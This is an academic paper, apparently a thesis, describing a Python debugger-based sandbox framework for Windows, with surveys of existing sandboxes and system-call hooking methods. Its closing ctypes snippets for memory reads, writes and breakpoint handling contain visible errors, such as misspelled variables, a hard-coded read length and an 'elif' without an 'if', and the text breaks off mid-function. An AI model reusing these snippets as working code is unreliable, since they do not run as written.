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Abstract 

Software systems are vulnerable to attack in many different ways.  Systems can be poorly 

implemented which could allow an attacker access to the system through legitimate means such 

as anonymous access to a server or security controls and access lists can be configured 

incorrectly which would allow an attacker access to the system by exploiting a logic flaw in the 

systems configuration.  These security vulnerabilities can be limited by implementing software 

systems properly or in a more restrictive manner.  Sandboxing an application allows for 

interception of a processes system call for verification against a defined policy.  A system call 

can be allowed or denied based on the function being called or can have parameters analyzed 

and verified against a defined policy.  This paper presents a sandboxing framework for Microsoft 

Windows operating systems.  The framework is written entirely in python and uses a modular 

design which allows for small and simple policies.  Profiles can exist for processes which 

automatically load user policies for a sandbox process. 
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1. Introduction 

Software systems are vulnerable to attack in many different ways.  Systems can be poorly 

implemented, which could allow an attacker access to the system through legitimate means 

such as anonymous access to a server, or security controls and access lists can be configured 

incorrectly, which would allow an attacker access to the system by exploiting a logic flaw in the 

systems configuration.  These security vulnerabilities can be limited by implementing software 

systems properly or in a more restrictive manner.  Systems are also vulnerable to low level 

attacks called memory corruption attacks.  Memory corruption is caused by user inputted data 

being placed into memory and triggering a flaw in the software which could allow the software 

execution to be redirected.  Software vulnerabilities like these are very difficult to prevent 

because they take advantage of the way high level languages are compiled and executed at the 

processor level, as well as the way code and data are laid out in memory.  

To attack a system an attacker must gather information about a system such as what services 

the system has and what software applications are installed.  Each service or software 

application on the system is a possible attack vector and the list of all attack vectors is called the 

attack surface.  Once the entire attack surface is ascertained, the attacker may begin to 

determine if any of the possible attack vectors are vulnerable to exploitation. 

Securing a system from exploitation should be thought of in layers.  The first layer of defense is 

limiting the attack surface as much as possible while still maintaining the systems function.  The 

second layer is focused on internal defenses which are implemented by the compiler or the 

operating system.  Last is the application layer where security sandboxes are implemented.  

Sandboxes are a post exploitation mitigation control and are used to validate a processes 

interaction with the underlying operating system.  Once memory is corrupted an attacker will 
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attempt to execute code from memory to finalize the attack.  The sandbox will attempt to 

intercept this execution and validate it against a set of rules or access controls.  Each layer in the 

system adds a significant challenge that an attacker must bypass in order to compromise the 

system.  

Sandboxing applications offer improvements to the layered security model by adding additional 

security controls that are external to the process being sandboxed and external to the operating 

system.   Firewalls, software patching, disabling or uninstalling services, and operating system 

and compiler features are complemented with a security sandbox.  Sandboxes exist for all major 

operating systems and implementations can vary from running inside kernel mode, user mode 

or both.  Implementing a sandbox is done in several ways.  The majority of application 

sandboxes sampled in this paper require a kernel module or a privileged service for operation 

and have some form of policy customization.  Some sandboxes do not have the capability to 

take in user defined policies and rely on the operating system to provide an API for developers.  

This paper suggests an alternate approach to developing a user mode dynamic sandbox which 

provides an easy framework for building and applying policies to an application, the capability to 

apply policies at runtime, and is completely free and open source. 

The project presented in this paper is a functional sandbox framework for Windows.  This 

project runs entirely in user mode and requires no kernel modifications or application 

modifications.  This project is written entirely in Python which provides great verbosity within 

the code as well as an open source structure.  With open source structure, the framework 

allows greater flexibility in creating rules or policies sandbox processes must follow.  The 

project’s core libraries, which handle Windows functions, are modularized and easily extended 

to create dynamic policies for processes. 
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2. Background 

As more and more systems become interconnected the number of potential hosts to attack is 

also increasing.  Securing these systems is a complex task and takes the implementation of many 

security controls in both software and hardware.  Memory corruption is a particular type of 

attack where an attacker attempts to trigger a flaw in the software and execute arbitrary code 

on the targeted machine.  These types of attacks are particularly devastating because most of 

the time the user isn’t even aware they are at risk. 

2.1 Memory Corruption Attacks 

Memory corruption attacks are the result of an underlying flaw in the software.  Flaws can lead 

to data overwriting memory structures, pointers and other data.  These types of overwrites can 

create opportunity for execution hijacking by an attacker.  Memory corruption can accomplish 

several things such as bypassing an authentication mechanism by overwriting stack frame data, 

redirecting process execution by overwriting a return address, exploiting some logical error in 

the program, or simply a denial of service or crash of the application.  One of the most common 

and dangerous type of memory corruption is redirection of process execution because it can 

lead to arbitrary code execution [1]. 

Memory corruption attacks can further be classified into two exploit domains, remote-exploits 

and client-side exploits.  Remote exploits are attacks that originate from an attacking host and 

trigger a vulnerability in a remote host or server.  Remote exploits are targeted toward a remote 

listening service such as a web server or file server.  Additionally, client-side exploits are attacks 

originating from the host being exploited.  Such client-side attacks are often times browser 
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based or file format vulnerabilities that the client browsed to or downloaded and opened with a 

vulnerable application. 

In both client-side and server-side attacks, an attack inserts malicious data into a service or 

application which appears, to the application or service, to be legitimate.  This malicious code is 

sitting inside of a memory buffer which is to be handled by the software.  However, when the 

software attempts to handle this memory a vulnerability is triggered.  Typically, the attacker will 

have control of the processes execution when the vulnerability is triggered.  Additionally, the 

attacker has control of the memory buffer that triggered the vulnerability and can redirect 

execution to this attacker controlled buffer to execute arbitrary code. 

To best protect against these types of attacks, security measures should be implemented in 

layers.  Each layer adds another system that the attacker must bypass in order to achieve a 

successful attack.  This section will discuss each layer of security and how it prevents memory 

corruption attacks both remote and client-side. 

2.2 System Security 

Limiting the attack surface of a system is the first layer that should be in place to prevent 

exploitation.  This is achieved by implementing inbound and outbound firewalls.  Microsoft 

Windows (Windows) systems by default have several listening services running at startup.  

Inbound firewall rules can prevent remote exploits by blocking any attempt to connect to these 

services on their respective ports.  Also, outbound firewall rules can help prevent post 

exploitation of client-side exploits by blocking the malicious code from making outbound 

connections on certain ports or to certain hosts.  Additionally, a Windows firewall can block 
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certain applications from making outbound connections as well.  Windows servers and client 

operating systems all have software firewalls built in. 

Patching is another important step to preventing exploitation.  Software patches fix vulnerable 

code and prevent specific bugs from being exploited.  However, patching is only effective 

against known software vulnerabilities.  Because patching prevents a bug from being exploited, 

patches should be applied as soon as they are available.  Typically patches do not affect the 

software’s function or reliability.  Along with patching, removing software that is unused or not 

needed prevents the need for staying up-to-date with patches as well as limiting the attack 

surface for an attacker to use during an attack.  Removing unused software is particularly 

effective against client-side attacks that may use a browser to deliver an exploit for a browser 

plug-in such as Adobe Flash or Oracle Java. 

The second layer of security is an internal layer.  These types of controls are either added to 

software during compile time or are a function of the operating system.  Internal controls are 

effective at mitigating memory corruption exploitation because they operate with the low level 

intricacies of the software.  Several mitigation techniques are implemented in Microsoft’s 

compilers and with Windows operating systems.  Two mitigation technologies of particular 

importance to attackers are Address Space Layout Randomization (ASLR) and Data Execution 

Prevention (DEP).  DEP and ASLR are general exploitation mitigations whereas others protect 

specific process data structures and critical data in memory [2]. 

ASLR is a protection mechanism that introduces randomness to some memory addresses.  

Attackers creating exploits rely on many assumptions for their exploits to function.  One such is 

the ability to statically address a function loaded in system libraries.  ASLR adds a random 

variant to this type of assignment.  Attackers can no longer overwrite the instruction pointer 



 

6 

 

with an address of an executable function or an attacker controller buffer for malicious code to 

execute.  However, ASLR is a compiler addition which also must be supported by the operating 

system.  ASLR is standard on all Windows Vista and Windows 7 operating systems.  Despite the 

randomness ASLR adds to loaded libraries, methods have been published which bypass this 

control [3][4][5].   

DEP presents a significant barrier to exploitation by preventing data in memory from being 

executed as code.  Although processes can still allocate memory with both execute and write 

permissions at runtime, DEP aims to prevent the default image loaded into memory from having 

data segments with execute permissions and code segments with write permissions.  Attackers 

who have successfully gained control of the instruction pointer and have code residing in 

memory can still gain execution by calling executable code from their controlled memory buffer.  

This attack process is called Return Oriented Programming (ROP).  Many DEP bypass techniques 

exist by manipulating the stack such that a system call can be made to change the execution 

permissions of either a buffer in memory or all data segments.  Several system functions exist 

which can allow a DEP bypass [5][6]. 

The third layer of security being implemented is application sandboxes.  A sandbox can be 

thought of as a system that validates the execution of a processes interaction with the 

underlying operating system.  Many types of sandboxes exist such as Applets, Jails, Virtual 

Machines, Rule-Based Execution, Standalone Applications and Built-in OS [7].  Each sandboxing 

technique has benefits that range from performance, control, customization, and usability to 

name a few.   

Applets are thought of as virtual execution environments for scripting languages and will not be 

discussed in this paper.  Jails are used to limit user or process interaction with the kernel or to 
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limit the resources available to the user or process.  Virtual machines can be used to emulate a 

specific system attribute or the entire operating system.  Several Windows sandboxes use this 

technique to prevent the installation of malware on the host system.  Rule-based execution is 

used to validate system calls based on a set of predefined security policies.  This form of security 

is typically done at the kernel level while policy rules are created at the user level.  Standalone 

applications are independent applications that launch processes to be run in the context of the 

sandbox.  Built-in OS sandboxes are API’s provided by the operating system that can be used by 

developers to implement security controls to their applications.  Typically, this is done by 

separating processes into different security contexts while allowing the processes to 

communicate their data with other processes in the application through the parent process. 

Performance can vary among sandboxes depending on the type of implementation.  Ameiri et al 

conducted performance tests on three separate Windows applications sandboxes [7].  Each test 

compared the timing for CPU I/O, file system read and writes, memory access speed, and 

network timing tests.  Three popular sandboxes were tested and as a benchmark the same tests 

were done without any sandbox.  These three sandboxes are all considered partial virtual 

machines as they only use a virtual file system to prevent malware from affecting the host 

system.  With the current speed of processors and high access speed of today’s ram, the CPU, 

memory access, and network tests results were only slightly slower when compared to the same 

test done outside of a sandbox.  However, the disk I/O tests results for the sandboxes were 

noticeably slower when compared to the same test done outside of the sandbox.  For the 

context of this paper, no file system virtualization is done and the performance tests for CPU, 

memory and network are considered to be sufficient. 
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3. Current Sandbox Implementations 

Sandboxing is a generic term than can be applied to many different types of software and 

developer APIs.  A sandbox can run in three modes: user mode where no system level 

modifications are made, kernel mode where the sandbox modifies the underlying kernel, and a 

hybrid approach where the sandbox runs in both user mode and makes kernel level 

modifications.  A sandbox is effectively a process by which code segregations and monitors are 

placed in the processes memory or at the kernel level which can be used for security or testing 

purposes.  

Linux and Unix sandboxes typically center around a kernel module to handle user created 

policies.  The kernel module will act as a server and respond to input by a application in user 

mode that is used to build, apply, and open processes within the sandbox.  Windows bases 

sandboxes are usually a combination of user mode and kernel mode processes.  The user mode 

application will allow for policy management and process segregation while the kernel mode 

process will monitor certain system calls to ensure sandboxed processes do not run kernel mode 

code without first being validated by the sandbox policies. 

Virtual machines and rule based application sandboxes are the most common sandbox 

implementations for all platforms.  A virtual machine based sandbox typically virtualizes part of 

the operating system such as the file system, but virtualization of the entire operating system 

can be accomplished.  A virtual file system ensures that all unauthorized reads and writes to the 

host file system are redirected to the virtual file system instead of the host file system.  Any data 

written to the virtual file system is isolated from the host system preventing installation or 

modification of protected files.  Protected files and directories are managed by a policy which 

can be created or modified by the user.  Rule based application sandboxes utilize access control 
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lists preventing a processes access to kernel level functions.  Access lists are created by the user 

and have allow or deny settings for specific kernel functions. 

3.1 Unix Based Implementations 

Provos presents a sandbox solution for Linux and BSD’s called Systrace [14].  Systrace uses a 

hybrid approach to system call interception and processing.  There is a small kernel module to 

intercept system calls and make the decision if a system call is to be allowed or denied for a 

specific process.  There is also a user mode application that handles which processes will be 

using the sandbox, policy generation tools, and event logging.   

Creating sandbox policies is a labor intensive task where a user needs to define exactly what a 

process needs access to and deny anything else as it would be deemed unauthorized.  Systrace 

takes a novel approach to policy generation.  Their policies are defined by what system calls an 

application needs to access in order to function.  One goal of Systrace is addressing the labor 

intensive task of creating sandbox policies.  Typically one would have to manually analyze traces 

of your program to decide what to allow.  Systrace creates an easy to use interface which 

automatically logs system calls made by a sandboxed application and creates policy based on 

information gathered from running the application. To create a policy Systrace puts an 

application in “training” mode and the user goes through as much of the applications 

functionality as they can in order to define what system calls are actually used by the program. 

Systrace recognized this approach could lead to some missed system calls so before finalizing a 

policy the user can specify if they want to receive prompts about new system calls not in their 

policy and make a decision whether to allow or disallow.  Once complete, the policy should be 

an accurate list of all system calls used by a process. 
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A finished policy is a list of what system calls a process is allowed to make; any others are 

denied.  This is a great approach to the security rule of least privilege.  An actor should only be 

able to access what is needed for its function and nothing more.  When an application runs 

under a finished policy it should only be allowed to execute the specific system calls that are 

required for the process to function.  This method greatly limits the attack surface by narrowing 

down what system functions can be executed.  It does, however, lack in examination of system 

call parameters.  Allowed system calls could still allow an attacker to execute malicious code as 

many basic system calls are used during an attack [5].  

Apple provides a application sandbox that can be applied to applications in user mode [8].  

Apple’s sandbox is mostly closed source but it has been reverse engineered and unofficial 

documentation of how it works has been published [8].  Apple implements their sandbox in four 

parts: user space libraries and tools for launching processes, a server for handling logging, kernel 

extensions using TrustedBSD API and a kernel support module for handling regular expressions.  

The overall system design uses a similar technique to Systrace in that a required kernel module 

is installed that intercepts system calls for specific processes.  However, Apple took it a bit 

further by additionally developing parsing technologies to tie into the system calls being 

executed.  The parser can analyze system call parameters and make policy decisions based on 

what the system call is being used for. 

While the implementation of Apple’s sandbox is flexible and an improvement on Systrace, it 

does lack in the ease at which policies can be generated.  Policies are defined in a Schema 

language text file prior to being compiled and applied at the kernel level.  For a complex policy 

definition the policy file can become quite large and difficult to understand due to the Schema 

language and the regular expressions used to parse parameters.  Once a policy is defined, the 
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user must launch the target application using Apples sandbox-exec command with the specified 

policy as a parameter.  A user cannot, however, apply the sandbox policies to an already running 

process.   

3.2 Windows Based Implementations 

Sandboxes on the Windows platform typically use a virtual machine model of protection.  They 

utilize file system virtualization and by default will not allow any sandboxed process to write to 

the disk outside of this virtual file system.  In doing this they effectively prevent the installation 

of malware and other malicious behavior to the hosts critical resources.  However, read access is 

still permitted based on the context of the running process.  In this way an attacker still has 

access to user data and potentially system information depending on the context of the process.  

Three popular sandboxes are sampled because this paper introduces an alternate approach to 

Windows based sandboxes.  All sandboxes offer support for both Windows 32bit and 64bit 

architectures. 

Sandboxie [12] is a closed source commercial sandbox application.  A trial version was sampled 

which is limited to a single sandbox running at a time.  Sandboxie functions as two distinct 

processes.  One operates as the server which runs as the SYSTEM account and controls the 

virtual file systems and system monitoring.  A second process runs in user mode which allows a 

user to build and control the rules and applications that are run inside each sandbox.  This user 

mode process contains the interface to display current sandboxes and options for editing each 

sandbox.  

Sandboxie operates by building a virtual environment for each process you want sandboxed.  A 

sandboxed process is visibly noticeable by a bold yellow outline of the applications window.  
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Processes are granted their own independent and isolated virtual file system to write to during 

runtime.  Every write by an application being sandboxed is stored in 

(C:\Sandbox\<username>\<sandbox name>\).  Each process is completely isolated from other 

processes save child processes of the main sandbox process or processes run in the same 

sandbox.  A user can define different sandboxes for each application they wish to run.  This 

flexibility is great if you want to have the same application run with different permissions and 

access to the file system.  For example, a user can have an internet explorer process for internet 

browsing and an internet explorer process for intranet browsing.   

The user interface for Sandboxie is quite simple in design.  The user is presented with a single 

window with one area that shows each sandbox you have defined; by default you have only 

one.  Changing the rules for a sandbox is done simply by right clicking the sandbox in the main 

display and selecting “Sandbox Settings”.  From here you can set rules for disabling internet 

access for specific sandboxes or programs running within the context of the sandbox.  You can 

also allow writes to certain areas of the file system for a more consistent feel for certain 

applications.  Aside from allowing or disallowing network access and file system writes, there 

are no settings that verify parameters of system calls.  Without this verification exploitation can 

still occur and payloads will still be able to execute inside of the context of the sandbox. 
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Figure 3A: A generic sandboxing flowchart for Sandboxie. 

Avast is another sandbox that is popular on the Windows platform which is also a commercial 

closed source application [10].  A trial version was sampled for this paper.  Included with Avast is 

a bundled anti-virus, anti-spam and firewall service to provide greater all around protection than 

Sandboxie; the sandbox feature still operates in a similar way.  Avast also runs as two separate 

processes, one operating as SYSTEM which is the server process and another operating as an 

interface to the user.  Avast uses a bold red outline of the application window to signify it is 

being sandboxed.  While Avast and Sandboxie do operate in much the same way, Avast is 

significantly slower while running applications inside of the sandbox.  This is due to the various 

real-time scanners such as the file system shield, network shield, behavior shield and script 

shield.  All these processes are almost constantly running during normal web browsing activities 

and while saving web pages or files. 
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Avast has a more complicated user interface due to the greater functionality over Sandboxie.  

Sandbox settings are limited in the same way as Sandboxie in that system call validation is not 

customizable.  Sandboxed processes are still able to spawn processes and interact with the file 

system under the user and sandbox context.  

BufferZone Pro is a free closed source sandbox application available for Windows only [11].  Like 

Sandboxie, BufferZone offers just a sandboxing feature without any other security services.  

Performance is greater than Avast and similar to Sandboxie.  BufferZone also operates as two 

processes.  One process runs as SYSTEM and handles the server portion of the sandbox while 

the other process is the user mode process that allows interaction and control of the sandbox 

rules and applications.  Sandboxed applications are outlined with a red border to signify that 

process is being sandboxed.  Once an application is sandboxed in BufferZone it is completely 

isolated from other processes outside of the sandbox and the file system is also virtualized.  

However, by default, sandboxed applications cannot spawn new processes.  This feature is more 

restrictive than Sandboxie and Avast which provides slightly better tools for anti exploitation.  

However, fully customized system call rules are still not present and as a result BufferZone has 

the same limitations as Sandboxie and Avast. 

3.3 Developer Based Implementations 

Sandboxing is becoming a more active area of development and several software vendors are 

taking an approach to developing sandboxes that ship within their software products.  Two such 

examples of this are Google Chrome [13] and Adobe Reader [9].  These applications take 

advantage of Windows default security APIs to prevent their own products’ processes from 

acting outside of their security context.  Apple’s OS X and iOS is another example of a 

sandboxing API provided to developers to help protect their users [8].  With OS X and iOS, 
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developers are required to implement some type of sandboxing features in their applications in 

order to be sold within Apple’s App Store for both OS X and iOS platforms.   

Effectively, the Windows sandbox API is that of a least privilege rule.  Each application divides 

itself into separate processes called Targets which can only communicate with other Targets 

through the main process called the Broker.  The Broker is responsible for creating the Target 

processes and assigning their security level.  Unlike other sandboxes, this sandbox does not 

require any kernel components or a server running as SYSTEM.  This sandboxing approach is 

completely in user mode and makes no kernel modifications.  However, there are a couple 

major drawbacks to this approach.  One such drawback is that the sandbox must be 

implemented by the developer.  Many applications a user would want to apply a sandbox to are 

locked out of these tools unless the specifically build the application and compile themselves.  

The other drawback is that these sandboxes lack flexibility.  In order to update a Targets 

permissions or to change the way certain items are handled, you will need to develop this logic 

in the application and recompile. 

4. Sandbox Technical Overview 

Application sandboxes are implemented in several ways, but underlying their implementation 

they all must intercept system calls.  System calls are a way for a user program to execute a 

privileged system level task such as input/output to the file system, Windows registry, sockets or 

any other system level function.  Windows offers many Application Programming Interfaces 

(API) for making system calls, the core of which are offered in kernel32.dll, user32.dll, and 

gdi32.dll [5].  When calling a function from one of these libraries, the call is processed and 

eventually execution is directed into the ntdll.dll library which begins the privileged code 

execution.  Once the system call execution is complete, a result is returned. This is the only 
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interaction a user mode call receives from the system; a call with supplied parameters and a 

return value. 

 

Figure 4A: The kernel32.SetPRocessDEPPolicy function calls its counterpart function in 

ntdll.ZwSetInformationProcess.  

Intercepting system calls for debugging, security, or evaluation purposes is called hooking.  

Sandboxes need to be able to hook into system calls in order to verify the parameters passed to 

the function are allowed by the defined sandbox policies.  Some system calls could just be 

allowed and not checked at all while others would go through a check and be modified before 

they continue execution if allowed at all.  Several types of hooking implementation exist.  Three 

common system call hooking methods are examined here: Function prolog hooking, SSDT 

hooking, and debug trapping. 

Prolog hooking can be associated with both files on the file system and with functions in 

memory.  Hunt et al is believed to be the first to develop an API for prolog hooking in memory 

with their Detours project [15].  Detours works by replacing the first few bytes of the function 

prolog with an unconditional jump to injected code.  This injected code that handles the 
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sandbox operation for that function is called a trampoline.  Trampoline code, in sandboxes, 

typically will make a call or jump back to the original hooked function.  Diagram 4B shows how 

Detours and prolog hooking in general operate.  

Prolog hooking uses inline assembly and requires a low level language such as C/C++; Detours 

API uses C/C++.  System call hooking in this way is very effective; however, drawbacks exist for 

implemented hooks using a purely interpreted language such as Python, Ruby, or Perl.   

 

Figure 4B: Detours prolog hooking technique. 

Another common approach to system call hooking, utilized by Sandboxie for some of its 32bit 

implementations and commonly used by malicious software, is System Service Descriptor Table 

(SSDT) overwriting.  The SSDT is a series of tables within Windows that holds addresses to kernel 

level or system code.  The first table is the kernel table, which holds the system calls sandboxes 

are typically interested in such as Input/Output to the file system, network communication, 

inter-process communication, and more core features of the system.  Each address is indexed 

within the table so when the transfer from user mode to kernel mode happens, it can easily find 

the address of the system call based on its index in the table.  To hook a system call using SSDT, 
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you replace the address in the SSDT table with an address to your trampoline function.  Within 

the trampoline function, there would also be a jump back to the original system call once 

execution of the custom trampoline code finishes executing.   

SSDT hooking must also be implemented in a lower level language such as C/C++ or Assembly.  

SSDT is not considered a suitable method for hooking with modern operating systems however.  

64 bit versions of Microsoft Windows have security mitigations in place for SSDT overwrites call 

Kernel Patch Protection (PatchGuard) [17].  PatchGuard verifies the integrity of the SSDT table to 

prevent overwrites.  Windows maintaining the integrity of the SSDT is one reason 64bit 

implementations of Windows sandboxes are not exactly the same as their 32bit counterparts. 

System trapping or breakpoint analysis is another form of system call hooking.  Debuggers have 

long been used by network administrators and developers to trap sections of code for further 

analysis. A trap is set by inserting a breakpoint byte (0xCC) somewhere in the process.  This 

breakpoint byte will overwrite the original byte until the breakpoint is hit by the processor.  

When the breakpoint is hit by the processor, it triggers a trap which stops execution and hands 

over control to the listening process.  Before handing control over, the breakpoint byte is 

removed and the original byte is replaced.  

Debugging features are built into Windows kernel32.dll and therefore can be called from any 

language that can handle C data types.  This method works well with C/C++ languages but also 

equally well with Python which supports C data types as well as loading dynamic linked libraries 

such as Kernel32.dll. 
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5. Project Details 

The project presented in this paper takes a different direction that current Windows based 

sandboxes with some inspiration from Linux and Unix implementations.  Linux and Unix 

implementations are generally free and open source; although pieces of Apple’s OS X and iOS 

are still closed source.  Windows implementations are all closed source and with the exception 

of Bufferzone are all proprietary as well.  This project presents a free and open source solution 

to sandboxing on Windows. 

Systrace offered users a novel way of creating policies by allowing for a program to be run in 

testing mode.  While in testing mode a policy file could be generated dynamically.  This process 

greatly reduced the complexity of creating policies for a process.  While this is a great way to 

determine what system calls a process is allowed to access it doesn’t offer much in the way of 

validation of system call parameters.  Some of the most basic system calls can be used as a 

malicious starting point to an attack.  The project presented here takes an approach to 

defending the specific system calls by validating their parameters against a user defined policy. 

Apple’s sandbox implementations for OS X and iOS have an excellent approach to launching 

processes within a sandbox and being able to apply a pre-defined policy at launch time.  This 

pre-defined policy however, is a bit cumbersome to edit and maintain due to the Schema 

language used as well as keeping all policy rules inside of a single file.  This is improved upon in 

the project presented here by modularizing the policy files and using a more human readable 

language, Python.  Additionally, the project presented in this paper allows for both launching 

applications in a sandbox, like Apple’s OS X and iOS implementations, and for sandboxing 

current running processes dynamically. 
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Each Windows based sandbox offers similar implementation in terms of the actual sandbox.  

Their differences are in user interface and other security features such as anti-virus and 

software firewalls.  Each Windows based sandbox uses a virtual file system as their primary 

protection mechanism against attacks.  While the virtual file system is adequate approach to 

protecting against the installation of malicious software and the over-writing of protected files.  

An attacker is still able to exploit vulnerabilities and read files with the permission set of the 

process that was exploited.  The project in this paper is a framework for developing rule based 

system call validation sandbox policies; virtual file system policies can also be created. 

Developer API relies on the developer to decide what system level calls a process should have 

access to.  This is done by splitting up a single application process into several parts with 

different permissions each; these parts communicate through a central process.  The difficulty 

with this type of sandbox is that you must be a developer and have access to the source code for 

sandboxing in this way to be practical.  While it is helpful to be developer with the sandbox 

presented in this paper, it is not required, a user may be able to just pick which policies should 

apply to a process and identify them in a simple text file.  Additionally, the source code for the 

application or process needing to be sandboxed is also not required.  The project presented in 

this paper, can attach to a process at run-time or launch new processes. 

5.1 Project Design 

This paper presents a Python based framework for security sandboxing.  The goal is to create a 

framework that allows for modeling of memory corruption style attacks with easy to use 

sandbox features and language support.  Additionally, after modeling an attack, a policy can be 

created and applied to processes to prevent that style of attack.  This project was inspired by 

the Metasploit [18] Framework which is primarily a console based exploit development 
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framework.  Metasploit is focused on the offensive side of security by providing a framework of 

modules that assist in developing reliable exploits against vulnerable software.  Open source 

and the dynamic functionality of the Metasploit project was used as inspiration for the 

defensive sandboxing framework presented in this paper.  

Python was the chosen language for this project because it has a mature development 

community and is considered one of the cleanest interpreted languages to program in because 

of its syntax requirements.  Python also supports C data types within the ctypes library which is 

a requirement for accessing the debugging features of Windows.  The rest of this section 

describes the implementation details of the framework. 

The framework presented here operates as a console application for Windows systems.  The 

functionality is not only in the console command set, but inside of the user created modules 

which extend core functionality of common system libraries.  Each module is set up so it can be 

loaded automatically based on a processes name or manually by the user from the console 

interface.  The main console can handle many sandboxed applications at a time as a new thread 

is created for each process.  Policy modules are tasked with managing a specific single system 

call.  When a policy is loaded, a trap is set at its relative system call address and a handler 

function is tied to that trap.  When the trap is triggered, the policy module handler is called 

which initially gathers all register information and function parameters for further processing.  

This information allows the handler to inspect the system call context and make a decision of 

whether or not the function should be modified, allowed or denied. 
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5.2 Framework Outline 

The framework itself is modularized for ease of development.  Each folder contains modules 

related to their specific function within the framework.  Lib contains core framework files such 

as parsers, logging, process handler, and helper modules.  The Modules folder contains core 

modules.  Core modules are interfaces to specific Windows API functions as well as modules 

related to their function within the framework.  Core modules contain all variables related to 

their relative function within the Windows API for processing by framework policies.  All defined 

policies are placed in the Policies folder.  Once policies are defined, it is useful to create profiles 

for each process.  This is accomplished by writing (copying current profile and editing it for a 

new process) a standard XML file with specific process parameters as well as what policies you 

want applied to the process when opened within the framework.  PyDBG folder contains a free 

open source library that handles function pointers during traps as well as setting breakpoints at 

specific locations in memory. Diagram 5A shows a folder hierarchy view of this project. 

The framework is console based and has an entry point located in ‘jmpconsole.py’ class.  

Initiating this class will start the console application and allow interaction with the underlying 

host system.  Several important core classes are: 

Jmpconsole.py Responsible for handling user interaction and creating ‘Process’ thread 

to open or attach to process the user wishes to sandbox. 

Jmpconsole_helper.py Provides process enumeration functionality as well as some general 

console aesthetics. 

Process.py Thread handler for sandbox processes.  This class interacts with the 

debugger and logger classes and handles all policy setting or removing.  

Many Process thread may be spawned. 

Logger.py Global events and process specific events are sent through this class for 

organized logging. 
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Pydbg.py Handles breakpoing setting/unsetting, function pointer assignment for 

handling traps, reading and writing system call parameters. PyDBG is 

an open source Python library (https://github.com/OpenRCE/pydbg) 

Core_handler.py This is an abstract class which gathers register information after a trap, 

functionality for continuing or killing processes based on policy 

decisions. 

Kernel32.py Abstract class to interface for the kernel32.dll. This extends the 

Core_handler and contains many classes.  Each subclass within this 

module associates with a single kernel32.dll function.  Other Windows 

APIs can be implemented (user32.dll, ole32.dll, gdi32.dll, etc…) 

 

 

Figure 5A: General Framework hierarchy. 

  



 

24 

 

5.3 Hooking System Calls 

At the core is a hooking method utilizing Window’s standard debugging functions located in 

kernel32.dll.  These functions typically are utilized with low level languages such as C or C++.  

However, importing standard libraries such as this can be accomplished in many languages, 

Python being one of them.  Python has a very useful library for utilizing C based functions and 

parameters.  In this way the framework is able to utilize the debugging features built into 

windows and accomplish system call hooking. The basic process for hooking a Windows System 

call by trapping requires locating a address in the Windows API, reading and writing to that 

processes memory, waiting for a trap event and continuing the process execution.  The 

following code is only a demonstration of the kernel functions required for trapping events [21].  

Within the framework a Python debugging library is used, PyDBG [22]. 

 

 

System call address can be located using the kernel32.GetProcAddress function.   

1. def func_resolve(dll, function):   

2.     handle = kernel32.GetModuleHandleA(dll)   
3.     address = kernel32.GetProcAddress(handle, function)   

4.     kernel32.CloseHandle(handle)    

5.     return address   

Read the memory at a specific address. 

1. def read_process_memory(self,address,length):   
2.     data         = ""   

3.     read_buf     = create_string_buffer(length)   
4.     count        = c_ulong(0)   

5.            

6.     kernel32.ReadProcessMemory(self.h_process, address, read_buf, 5, byref(count

))   

7.     data    = read_buf.raw   
8.            

9.     return data   

Replace the first byte of an address with a trap byte.  
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1. def write_process_memory(self,address,data):   
2.     count  = c_ulong(0)   

3.     ength = len(data)   
4.            

5.     _data = c_char_p(data[count.value:])   

6.    

7.     if not kernel32.WriteProcessMemory(self.h_process, address, c_data, length, 

byref(count)):   

8.         return False   
9.     else:   

10.         return True   

Wait for a trap event. 

1. def get_debug_event(self):   
2.     self.get_module_name()   

3.            
4.     debug_event    = DEBUG_EVENT()   

5.     continue_status = DBG_CONTINUE   

6.            

7.     if kernel32.WaitForDebugEvent(byref(debug_event), 500):   

8.         self.h_thread          = self.open_thread(debug_event.dwThreadId)   

9.         self.context           = self.get_thread_context(h_thread=self.h_thread)
   

10.         self.debug_event       = debug_event   
11.    
12.         if debug_event.dwDebugEventCode == EXCEPTION_DEBUG_EVENT:   
13.                    
14.             self.exception = debug_event.u.Exception.ExceptionRecord.ExceptionCo

de   

15.             self.exception_address = debug_event.u.Exception.ExceptionRecord.Exc
eptionAddress   

16.                        
17.             elif self.exception == EXCEPTION_BREAKPOINT:   
18.                 continue_status = self.exception_handler_breakpoint()   
19.                    
20.         kernel32.ContinueDebugEvent(debug_event.dwProcessId, debug_event.dwThrea

dId, continue_status)   

5.4 Fetching Function Parameters 

Looking at function parameters can be a difficult task as there are many different ways 

parameters are loaded onto the stack or into registers.  The stack is a data structure tasked with 

handling temporary data related to a function’s parameters and its local variables.  The stack is 

manipulated by adjusting one register called the stack pointer (ESP); this register should always 

point to the top of the stack.  However, as memory gets added to the stack, the stack pointer is 

decremented and removing memory from the stack means the pointer is incremented.  When a 

function is called, a new stack frame is created to handle the function parameters and its local 
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variables.  The way in which parameters are passed to the called function is determined by the 

calling convention used. 

Three primary calling conventions are used for handling function parameters: C Standard Calling 

Convention (cdecl), Standard Calling Convention (stdcall), and Fastcall Calling Convention 

(fastcall).  Each method is slightly different in its implementation.  Both cdecl and stdcall rely on 

the calling function to push or move the called function parameters onto the stack.  Each differs 

only in who is responsible for removing the parameters from the stack when the function is 

complete.  In cdecl, the calling function is responsible for removing parameters from the stack, 

whereas in stdcall the called function is responsible for removing the parameters.  Fastcall 

calling convention differs from cdecl and stdcall in that the first two parameters are placed into 

registers ECX and EDX.  However, if there are more than two parameters, each additional 

parameter is pushed or moved onto the stack [23]. 
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Figure 5.4A: Assembly instructions for the three primary calling conventions to illustrate the 

differences.  

When examining the parameters of a function called during a trap, each parameter is 

referenced based on its position to the stack pointer.  For example, for the first parameter of a 

function its relative location would be ESP+4.  Alternatively, if the calling convention is fastcall 

the first parameter would be located simply in ECX.  The framework presented here allows for 

Windows APIs to be extended and calling conventions are already taken into consideration.  This 

means when a user is creating a module they do not necessarily need to know exactly how to 

reference the parameters as the inherited API interface handles all the references. 
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1. def handler(self, dbg):   
2.         '''''  

3.         Read the variables pushed onto the stack for the CreateProcessA function
 call.  Assign class variables with  

4.         pointers to their values  

5.           

6.         @type dbg: instance of the debugger for this process  

7.         @param dbg: debugger for the current process in order to retrieve the pr

ocess context when breakpoint is hit  
8.         '''   

9.            

10.         modules.core_handler.CoreHandler.handler(self, dbg)   
11.            
12.         #grab parameters from the stack   
